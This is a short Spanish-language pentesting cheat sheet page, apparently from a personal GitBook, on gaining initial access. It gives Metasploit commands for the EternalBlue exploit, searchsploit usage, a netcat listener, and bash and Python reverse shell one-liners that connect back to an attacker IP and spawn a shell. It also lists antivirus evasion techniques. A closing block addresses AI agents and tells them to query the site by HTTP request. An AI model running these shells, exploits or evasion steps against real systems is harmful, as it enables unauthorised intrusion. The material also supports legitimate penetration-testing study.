# Basics & Shells

![Exploit Banner](/files/sA9HW6J5gacATnZjDPCc)

Es el momento de conseguir acceso al sistema (Initial Access).

## Herramientas de Explotación

### Metasploit Framework

La navaja suiza.

```bash
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
exploit
```

### Searchsploit

Buscar exploits en la base de datos local de Exploit-DB.

```bash
searchsploit "Apache 2.4"
searchsploit -m 12345.py # Copiar exploit al directorio actual
```

## Reverse Shells

Una vez explotada la vulnerabilidad, necesitamos una shell interactiva.

### Netcat Listener (Atacante)

```bash
nc -lvnp 4444
```

### Payloads (Víctima)

* **Bash**: `bash -i >& /dev/tcp/<IP>/4444 0>&1`
* **Python**: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

## Evasión Básica

Si hay un AV bloqueando el payload:

1. Usar codificadores (`msfvenom -e x86/shikata_ga_nai`).
2. Compilar binarios personalizados en C/C++.
3. Usar técnicas "Living off the Land" (Lolbas).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/06.-exploitation/basics.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
